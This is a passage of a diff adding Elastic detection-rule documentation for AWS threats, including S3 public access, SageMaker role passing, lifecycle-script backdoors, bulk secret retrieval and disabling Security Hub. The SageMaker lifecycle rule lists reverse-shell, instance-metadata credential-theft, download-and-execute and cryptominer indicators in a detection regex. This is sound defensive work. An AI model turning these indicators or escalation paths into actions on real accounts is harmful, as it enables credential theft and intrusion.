({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: Amazon S3 +* Use Case: Asset Visibility +* Resources: Investigation Guide +* Tactic: Collection +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: New Terms +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS S3 + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS S3 Unauthenticated Bucket Access by Rare Source* + + +This rule detects requests to an AWS S3 bucket by an unauthenticated source, which could indicate a misconfigured bucket policy allowing public access. Adversaries can exploit this misconfiguration by using tools or AWS CLI options like `--no-sign-request` to access bucket contents. + +The rule triggers when an unauthenticated IP address retrieves an object, and that IP has not been seen in the last 7 days. + + +*Possible Investigation Steps* + + +**Identify the Source of the Request**: + - Review the `source.address` field to determine the IP address of the request source. + - Check `source.geo` fields for geographic details of the originating IP address. + - Analyze the `user_agent.original` field to identify the client or tool used (e.g., `Python Requests`, `aws-cli`, browser). + +**Review the Accessed Bucket and Object**: + - Analyze the `aws.cloudtrail.resources.arn` field to identify the S3 bucket and object being accessed. + - Inspect `aws.cloudtrail.request_parameters` for bucket name and object key to determine which file was retrieved. + - Review the `even.action` field to identify which API call was made (e.g., `GetObject`, `ListObjects`, `PutObject`, `ListBucket`). + +**Validate the Source IP and Context**: + - Determine if the IP address (`source.address`) has any prior activity in your environment. + - Correlate the IP with threat intelligence or blocklist databases to check for malicious indicators. + - Review CloudTrail logs for other activities originating from the same IP. + +**Analyze the S3 Bucket Configuration**: + - Review the S3 bucket's Access Control List (ACL) and bucket policy to check for misconfigurations allowing public or unauthenticated access. + - Look for overly permissive settings, such as `Principal: *` or `Effect: Allow` rules that expose the bucket. + +**Investigate Additional Activity**: + - Check if there are subsequent actions, such as: + - **Additional `GetObject` API calls**: Indicating further data exfiltration. + - **ListObjects requests**: Attempting to enumerate the bucket's contents. + - Correlate events within the same timeframe to identify related suspicious activity. + +**Assess the Data Exposed**: + - Identify the retrieved object(s) and analyze their content to assess potential data exposure. + - Determine if the file contains sensitive information, such as credentials, intellectual property, or PII. + + +*False Positive Analysis* + + +- **Public Buckets by Design**: Some S3 buckets may intentionally allow public access. Verify with the bucket owner if the access was expected. +- **Automated Tools**: Security scanners or legitimate services may generate `GetObject` events to validate bucket configurations. + + +*Response and Remediation* + + +**Immediate Action**: + - Restrict or remove public access to the affected S3 bucket. + - Update the bucket policy to ensure access is restricted to trusted principals. + - Enable **S3 Block Public Access** settings to prevent unintended public access. + +**Monitoring and Detection**: + - Enable detailed logging and monitoring for all S3 bucket activities. + - Configure real-time alerts for unauthenticated `GetObject` or `ListObjects` events on sensitive S3 buckets. + +**Security Audits**: + - Regularly audit S3 bucket policies and ACLs to ensure they adhere to AWS security best practices. + - Use AWS tools like **Trusted Advisor** or **Access Analyzer** to identify and address misconfigurations. + +**Investigate for Data Exfiltration**: + - Analyze historical CloudTrail logs to determine if other sensitive files were accessed or exfiltrated. + - Assess the scope of the exposure and initiate further response if sensitive data was compromised. + + +*Additional Resources* + + +- https://docs.aws.amazon.com/AmazonS3/latest/userguide/example-bucket-policies.html[AWS Documentation: S3 Bucket Policy Best Practices] +- https://docs.aws.amazon.com/AmazonS3/latest/userguide/access-control-block-public-access.html[AWS S3 Block Public Access] + + +==== Setup + + +S3 data events must be enabled in CloudTrail to capture the GetObject, PutObject, ListObjects, and DeleteObject actions. Ensure that the AWS CloudTrail service is configured to log data events for the S3 bucket you'd like to monitor. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "s3.amazonaws.com" + and event.action: ( + "GetObject" or + "PutObject" or + "ListObjects" or + "DeleteObject" or + "ListBucket") + and event.outcome: "success" + and aws.cloudtrail.user_identity.type: ("AWSAccount" or "Unknown") + and cloud.account.id: "anonymous" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Cloud Storage Object Discovery +** ID: T1619 +** Reference URL: https://attack.mitre.org/techniques/T1619/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Technique: +** Name: Data Manipulation +** ID: T1565 +** Reference URL: https://attack.mitre.org/techniques/T1565/ +* Sub-technique: +** Name: Stored Data Manipulation +** ID: T1565.001 +** Reference URL: https://attack.mitre.org/techniques/T1565/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-sagemaker-execution-role-passed-by-unusual-principal.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-sagemaker-execution-role-passed-by-unusual-principal.asciidoc new file mode 100644 index 0000000000..178d01f4d8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-sagemaker-execution-role-passed-by-unusual-principal.asciidoc @@ -0,0 +1,152 @@ +[[prebuilt-rule-8-19-34-aws-sagemaker-execution-role-passed-by-unusual-principal]] +=== AWS SageMaker Execution Role Passed by Unusual Principal + +Identifies the first time an IAM principal passes a given execution role (`roleArn`) to an Amazon SageMaker resource, via `CreateNotebookInstance`, `CreateTrainingJob`, `CreateProcessingJob`, `CreateAutoMLJob`, or `CreatePipeline`. These actions require `iam:PassRole` and attach an IAM role that the created resource then runs as. An adversary holding both SageMaker create permissions and a broad `iam:PassRole` grant can pass a more privileged role to a resource they control and execute code as that role, escalating privileges. The rule keys on the combination of the calling principal and the passed `roleArn`, so it surfaces a principal using an execution role it has not used before in the last 7 days; a role whose account differs from the caller's, or that is more privileged than the caller, is especially suspicious. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 10m + +*Searches indices from*: now-7d ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/sagemaker/latest/dg/sagemaker-roles.html +* https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_CreateNotebookInstance.html +* https://stratus-red-team.cloud/attack-techniques/AWS/aws.execution.sagemaker-update-lifecycle-config/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS SageMaker +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Rule Type: ES|QL +* Platform: AWS + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS SageMaker Execution Role Passed by Unusual Principal* + + +SageMaker resource-creation actions accept a `roleArn` execution role and require the caller to hold `iam:PassRole` +for it. The created resource (notebook, training job, processing job, AutoML job, or pipeline) then runs as that +role. This is a known cloud privilege-escalation path: a principal with SageMaker create rights and a broad +`PassRole` permission can attach a more privileged role to a resource it controls and run code as that role. This +rule keys on the principal and the passed `roleArn` together, so it flags the first time a principal uses a given +execution role within the last 7 days, which should then be reviewed for over-privilege or a cross-account owner. + + +*Possible investigation steps* + + +- Identify the actor in `aws.cloudtrail.user_identity.arn`, and review `Esql.source_ip_values` and + `Esql.user_agent_original_values` for an unexpected origin. +- Inspect `Esql.aws_cloudtrail_request_parameters_role_arn` and review that role's policies; determine whether it is + more privileged than the caller. +- Determine whether the principal normally creates SageMaker resources and whether this aligns with an approved + pipeline or project. +- Correlate with follow-on activity by the passed role, such as actions outside SageMaker, presigned URL generation, + or lifecycle configuration changes that would provide interactive execution as the role. + + +*False positive analysis* + + +- Legitimate MLOps creates SageMaker resources with execution roles; new pipelines and users appear as new + principals on first use. Confirm the role and activity are approved and exclude known automation roles on + `aws.cloudtrail.user_identity.arn` after validation. + + +*Response and remediation* + + +- If unauthorized, stop and delete the created resource, and review any actions taken by the passed role. +- Rotate or restrict credentials for the principal if compromise is suspected, and constrain `iam:PassRole` and + SageMaker create permissions so principals can only pass narrowly scoped, approved execution roles. + + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-aws.cloudtrail-* +| WHERE data_stream.dataset == "aws.cloudtrail" + AND event.provider == "sagemaker.amazonaws.com" + AND event.action IN ( + "CreateNotebookInstance", + "CreateTrainingJob", + "CreateProcessingJob", + "CreateAutoMLJob", + "CreatePipeline" + ) + AND event.outcome == "success" + AND aws.cloudtrail.user_identity.type != "AWSService" +| GROK aws.cloudtrail.request_parameters """.*roleArn=(?arn:aws[a-z-]*:iam::[0-9]{12}:role/[^,}]+).*""" +| WHERE Esql.aws_cloudtrail_request_parameters_role_arn IS NOT NULL +| EVAL Esql.principal_arn = COALESCE( + aws.cloudtrail.user_identity.session_context.session_issuer.arn, + aws.cloudtrail.user_identity.arn + ) +| STATS + Esql.timestamp_min = MIN(@timestamp), + Esql.timestamp_max = MAX(@timestamp), + Esql.ingested_min = MIN(COALESCE(event.ingested, @timestamp)), + Esql.event_count = COUNT(*), + Esql.event_action_values = VALUES(event.action), + Esql.source_ip_values = VALUES(source.ip), + Esql.user_agent_original_values = VALUES(user_agent.original), + Esql.user_identity_arn_values = VALUES(aws.cloudtrail.user_identity.arn), + Esql.cloud_account_id_values = VALUES(cloud.account.id), + Esql.cloud_region_values = VALUES(cloud.region) + BY Esql.principal_arn, + Esql.aws_cloudtrail_request_parameters_role_arn +| WHERE Esql.ingested_min >= NOW() - 10 minutes +| KEEP Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-sagemaker-notebook-lifecycle-configuration-with-suspicious-script-content.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-sagemaker-notebook-lifecycle-configuration-with-suspicious-script-content.asciidoc new file mode 100644 index 0000000000..9c691e350b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-sagemaker-notebook-lifecycle-configuration-with-suspicious-script-content.asciidoc @@ -0,0 +1,127 @@ +[[prebuilt-rule-8-19-34-aws-sagemaker-notebook-lifecycle-configuration-with-suspicious-script-content]] +=== AWS SageMaker Notebook Lifecycle Configuration With Suspicious Script Content + +Identifies an Amazon SageMaker notebook lifecycle configuration whose OnStart or OnCreate script, after base64 decoding, contains patterns associated with malicious activity such as reverse shells, EC2 instance metadata (IMDS) credential access, or download-and-execute commands. A lifecycle configuration runs as root on the notebook instance, so a script with these patterns is a strong indicator of an attempt to backdoor the notebook, steal the execution role's credentials, or establish persistent code execution. This rule decodes the script in the request and matches high-signal indicators; it is a higher-fidelity companion to the rule that alerts on any lifecycle configuration change. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 10m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/sagemaker/latest/dg/notebook-lifecycle-config.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS SageMaker +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Execution +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Rule Type: ES|QL +* Platform: AWS + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS SageMaker Notebook Lifecycle Configuration With Suspicious Script Content* + + +A SageMaker notebook lifecycle configuration is a shell script that runs as root on the notebook instance at create or start. This rule base64-decodes the OnStart/OnCreate script from the request (surfaced as "Esql_priv.aws_cloudtrail_lifecycle_script") and flags high-signal indicators across several categories: reverse shells ("/dev/tcp/", "/dev/udp/", "bash -i", "nc -e", "ncat", "socat", "mkfifo", "import socket", "pty.spawn", "perl"/"ruby"/"php" socket idioms), IMDS credential access ("169.254.169.254", "/latest/meta-data/", "/latest/api/token"), download-and-execute and decode-and-execute ("| sh", "| bash", "base64 -d"), cryptominers ("xmrig", "minerd", "stratum+"), and persistence ("authorized_keys", "crontab", "/etc/cron"). A match is a strong indicator of an implant attempt. + + +*Possible investigation steps* + + +- Review the decoded "Esql_priv.aws_cloudtrail_lifecycle_script" field and the full "aws.cloudtrail.request_parameters" to understand what the script does. +- Identify the actor in "aws.cloudtrail.user_identity.arn" and review "source.ip" and "user_agent.original" for an unexpected origin. +- Determine which notebook instances reference this configuration and whether they have started since the change. +- Correlate with adjacent activity by the same principal, such as notebook creation, presigned URL generation, or use of the execution role's credentials outside SageMaker. + + +*False positive analysis* + + +- Setup scripts can legitimately reference metadata endpoints or download tooling. Confirm the script is expected and exclude known automation roles after validation. This rule only matches unobfuscated indicators, so it can miss obfuscated scripts (use the broad lifecycle-configuration-change rule for full coverage) and can match benign scripts that contain these strings. + + +*Response and remediation* + + +- If unauthorized, remove the lifecycle configuration, stop affected notebook instances, and rotate the notebook execution role's credentials. +- Review actions taken by the execution role since the change, and restrict "sagemaker:CreateNotebookInstanceLifecycleConfig" and "sagemaker:UpdateNotebookInstanceLifecycleConfig" to trusted administrators. + + +==== Setup + + +This rule requires AWS CloudTrail logs ingested via the Elastic AWS integration. See https://docs.elastic.co/integrations/aws/cloudtrail for setup details. + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-aws.cloudtrail-* METADATA _id, _version, _index +| WHERE event.provider == "sagemaker.amazonaws.com" + AND event.action IN ("CreateNotebookInstanceLifecycleConfig", "UpdateNotebookInstanceLifecycleConfig") + AND event.outcome == "success" + AND aws.cloudtrail.user_identity.type != "AWSService" +| GROK aws.cloudtrail.request_parameters "[Cc]ontent=(?[A-Za-z0-9+/=]+)" +| EVAL Esql_priv.aws_cloudtrail_lifecycle_script = FROM_BASE64(script_b64) +| WHERE TO_LOWER(Esql_priv.aws_cloudtrail_lifecycle_script) RLIKE """.*(/dev/tcp/|/dev/udp/|bash -i|sh -i|nc -e|ncat |socat |mkfifo|169\.254\.169\.254|/latest/meta-data/|/latest/api/token|\| ?sh|\| ?bash|base64 -d|import socket|pty\.spawn|perl -e|ruby -rsocket|php -r|xmrig|minerd|stratum\+|authorized_keys|/etc/cron|crontab ).*""" +| KEEP _id, _version, _index, @timestamp, aws.*, cloud.*, event.*, source.*, user.*, user_agent.*, Esql_priv.aws_cloudtrail_lifecycle_script + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-secrets-manager-rapid-secrets-retrieval.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-secrets-manager-rapid-secrets-retrieval.asciidoc new file mode 100644 index 0000000000..00e5d38d74 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-secrets-manager-rapid-secrets-retrieval.asciidoc @@ -0,0 +1,182 @@ +[[prebuilt-rule-8-19-34-aws-secrets-manager-rapid-secrets-retrieval]] +=== AWS Secrets Manager Rapid Secrets Retrieval + +Identifies rapid secret retrieval activity from AWS Secrets Manager using the GetSecretValue or BatchGetSecretValue API actions. Adversaries who compromise an IAM user, instance role, or temporary credentials may attempt to enumerate or exfiltrate secrets in bulk to escalate privileges, move laterally, or gain persistence. This rule detects 20 or more unique secret retrievals by the same user identity within a short time window, which may indicate credential compromise or automated secret harvesting. + +*Rule type*: threshold + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html +* https://detectioninthe.cloud/ttps/credential_access/access_secret_in_secrets_manager/ +* https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Secrets Manager +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Threshold +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS Secrets Manager + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. +> While every effort has been made to ensure its quality, validate and adapt it for your operational needs. + + +*Investigating AWS Secrets Manager Rapid Secrets Retrieval* + + +AWS Secrets Manager stores sensitive credentials such as database passwords, API keys, OAuth tokens, and service +configuration values. In credential compromise scenarios, attackers frequently attempt to retrieve as many secrets as +possible in a short timeframe to escalate privileges or move laterally across the environment. + +This threshold rule triggers when a single user identity successfully retrieves 20 or more unique secrets using +`GetSecretValue` or `BatchGetSecretValue` within a short timespan. Retrieval of many different secrets in rapid succession is highly unusual and strongly associated with reconnaissance, secret harvesting, or compromised automation. + +Note: `BatchGetSecretValue` API calls the `GetSecretValue` API for each secret value; this alert only captures the `GetSecretValue` calls rather than the `BatchGetSecretValue` call itself. + + +*Possible investigation steps* + + +- **Identify the user or role** + - Review `aws.cloudtrail.user_identity.arn`, `user.name`, and `aws.cloudtrail.user_identity.type`. + - Determine whether the identity normally accesses Secrets Manager or is tied to a known automation workload. + +- **Analyze the set of secrets retrieved** + - Expand the alert in Timeline and review `aws.cloudtrail.request_parameters` for all `SecretId` values in the grouped threshold event. + - Identify whether the accessed secrets include: + - Privileged database credentials + - IAM user or service account credentials + - Production application secrets + - Rarely accessed or high-sensitivity secrets + +- **Assess the runtime context** + - Investigate `source.ip`, `source.geo.location`, and `user_agent.original`. + - Validate whether the calls originated from known internal automation (e.g., ECS task, Lambda runtime, EC2 instance profile) + or from an unexpected IP or user agent. + +- **Correlate with other activity from the same identity** + - Look for related reconnaissance or credential-access events: + - `ListSecrets`, `DescribeSecret` + - IAM enumeration (`ListUsers`, `GetCallerIdentity`) + - Role-chaining or unusual `AssumeRole` flows + - Check for subsequent use of exposed credentials (RDS login attempts, API activity, abnormal resource access). + +- **Determine whether unusual automation or deployment activity is occurring** + - Confirm with application owners whether a new deployment, config reload, or migration might explain the multi-secret access. + + +*False positive analysis* + + +- Legitimate application initialization or rollouts may retrieve many secrets once on startup. +- CI/CD pipelines or configuration management tools may enumerate secrets as part of environment bootstrapping. + +To reduce noise, consider exceptions based on: +- Known service roles +- Expected source IP ranges +- Specific application identities tied to secret orchestration + + +*Response and remediation* + + +- **Containment** + - Immediately revoke or disable the IAM user, role session, or instance profile if compromise is suspected. + - Quarantine EC2/ECS/Lambda resources originating suspicious calls. + +- **Investigation** + - Identify all secrets accessed in the grouped alert and determine where those credentials are used. + - Review CloudTrail for any suspicious follow-on activity using the retrieved secrets. + - Assess whether additional identities or workloads show similar enumeration behavior. + +- **Recovery and hardening** + - Rotate all accessed secrets and update dependent systems. + - Rotate IAM access keys or temporary credentials for the impacted identity. + - Restrict permissions to Secrets Manager following least privilege. + - Review automation and application behavior to ensure secrets are accessed only when required. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "secretsmanager.amazonaws.com" + and event.action: "GetSecretValue" + and event.outcome: "success" + and not ( + user_agent.name: ("Chrome" or "Firefox" or "Safari" or "Edge" or "Brave" or "Opera") + or source.address: ("kafka.amazonaws.com" or "apidestinations.events.amazonaws.com") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Sub-technique: +** Name: Cloud Secrets Management Stores +** ID: T1555.006 +** Reference URL: https://attack.mitre.org/techniques/T1555/006/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ +* Sub-technique: +** Name: Databases +** ID: T1213.006 +** Reference URL: https://attack.mitre.org/techniques/T1213/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-security-hub-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-security-hub-disabled.asciidoc new file mode 100644 index 0000000000..86d78688c3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-security-hub-disabled.asciidoc @@ -0,0 +1,118 @@ +[[prebuilt-rule-8-19-34-aws-security-hub-disabled]] +=== AWS Security Hub Disabled + +Detects when AWS Security Hub is disabled in a region. Security Hub aggregates security findings from AWS services (GuardDuty, Inspector, Macie, IAM Access Analyzer) and third-party tools into a single pane of glass. Disabling it suppresses centralized finding aggregation and compliance checks, removing visibility into threats across the account. This action is a documented pre-ransomware and pre-exfiltration defense evasion technique. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/securityhub/latest/userguide/securityhub-disable.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS Security Hub +* Rule Type: Custom Query (KQL) +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Security Hub Disabled* + + +AWS Security Hub aggregates security findings from GuardDuty, Inspector, IAM Access Analyzer, Macie, and partner products. Disabling it is a one-API-call action (DisableSecurityHub) that immediately stops new findings from appearing in the hub and breaks compliance posture checks (CIS, PCI DSS, AWS Foundational Security Best Practices). Threat actors performing pre-ransomware activity commonly disable security services to reduce detection during the exfiltration and encryption phases. + + +*Possible investigation steps* + + +- Identify the caller in aws.cloudtrail.user_identity.arn and user.name. Determine whether this is a human operator, a CI/CD service role, or an automated account lifecycle script. +- Check source.ip against known office CIDRs, VPN endpoints, and CI/CD runner IPs. A call from an unexpected geography or cloud provider IP is a strong indicator of credential compromise. +- Query CloudTrail for all API calls from this identity in the same time window. Look for co-occurring DeleteDetector or UpdateDetector with enable false (GuardDuty), DisableMacie or UpdateMacieSession with status PAUSED (Macie), DeleteTrail, StopLogging, PutEventSelectors (reducing event selectors), or DeleteFlowLogs calls — a multi-service security teardown is high confidence ransomware/wiperware preparation. +- Determine whether Security Hub was re-enabled shortly after (indicating a momentary operational toggle) or remained disabled. +- Check whether this corresponds to a known change window or approved infrastructure operation. + + +*False positive analysis* + + +- Regional decommissioning: teams shutting down an AWS region may disable Security Hub as part of account cleanup. Validate against a change management ticket. +- Cost optimization: Security Hub has a cost per finding. Some teams disable it in non-production accounts. If this fires in a dev/test account with known cost controls, correlate with account tags. + + +*Response and remediation* + + +- If unauthorized, re-enable Security Hub immediately and review all findings that were suppressed during the disabled period using the Security Hub finding history API. +- Revoke active sessions for the calling identity. +- Review other security services (GuardDuty, Macie, Inspector) to confirm they remain enabled. +- Enable AWS Config rule securityhub-enabled to detect future disablement automatically. +- If the caller was a compromised IAM user, rotate all access keys and review all actions in the compromised session. + + +==== Setup + + +The AWS integration must be ingesting management events into `logs-aws.cloudtrail-*`. No additional CloudTrail data event selectors are required — `securityhub:DisableSecurityHub` is a management-plane API logged by default in any CloudTrail trail with management event logging enabled. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "securityhub.amazonaws.com" + and event.action: "DisableSecurityHub" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-sensitive-iam-operations-performed-via-cloudshell.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-sensitive-iam-operations-performed-via-cloudshell.asciidoc new file mode 100644 index 0000000000..55a4855491 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-sensitive-iam-operations-performed-via-cloudshell.asciidoc @@ -0,0 +1,182 @@ +[[prebuilt-rule-8-19-34-aws-sensitive-iam-operations-performed-via-cloudshell]] +=== AWS Sensitive IAM Operations Performed via CloudShell + +Identifies sensitive AWS IAM operations performed via AWS CloudShell based on the user agent string. CloudShell is a browser-based shell that provides command-line access to AWS resources directly from the AWS Management Console. While convenient for administrators, CloudShell access from compromised console sessions can enable attackers to perform privileged operations without installing tools or using programmatic credentials. This rule detects high-risk actions such as creating IAM users, access keys, roles, or attaching policies when initiated from CloudShell, which may indicate post-compromise credential harvesting or privilege escalation activity. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/cloudshell/latest/userguide/welcome.html +* https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud +* https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Data Source: AWS IAM +* Tactic: Persistence +* Tactic: Privilege Escalation +* Use Case: Threat Detection +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Service: AWS IAM + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Sensitive IAM Operations Performed via CloudShell* + + +AWS CloudShell is a browser-based shell environment that provides instant command-line access to AWS resources without requiring local CLI installation or credential configuration. While this is convenient for legitimate administrators, it also provides adversaries with a powerful tool if they gain access to a compromised AWS console session. Attackers can use CloudShell to perform sensitive operations without leaving artifacts on their local systems. + +This rule detects high-risk IAM operations performed via CloudShell, including credential creation, user management, and policy attachment. These actions are commonly seen in post-compromise scenarios where attackers establish persistence or escalate privileges. + + +*Possible investigation steps* + + +- **Identify the actor** + - Review `aws.cloudtrail.user_identity.arn` to determine which IAM principal performed the action. + - Check `source.ip` and `source.geo` fields to verify the request origin matches expected administrator locations. + - Investigate the console login event that established the CloudShell session. + +- **Analyze the specific action** + - Review `event.action` to understand exactly what operation was performed. + - For `CreateAccessKey` or `CreateUser`, identify the target principal and assess whether this was authorized. + - For policy attachments, review which policies were attached and to which entities. + +- **Review request and response details** + - Examine `aws.cloudtrail.request_parameters` for specifics like user names, policy ARNs, or role configurations. + - Check `aws.cloudtrail.response_elements` for created resource identifiers. + +- **Correlate with surrounding activity** + - Search for preceding events such as `ConsoleLogin` from the same session or IP address. + - Look for MFA bypass indicators or unusual login patterns before CloudShell usage. + - Check for subsequent use of any created credentials or roles. + +- **Assess the broader context** + - Determine if this CloudShell usage pattern is typical for this user. + - Review recent access patterns for the console session that initiated CloudShell. + + +*False positive analysis* + + +- Routine administrative tasks using CloudShell are common in some organizations. Create baseline profiles 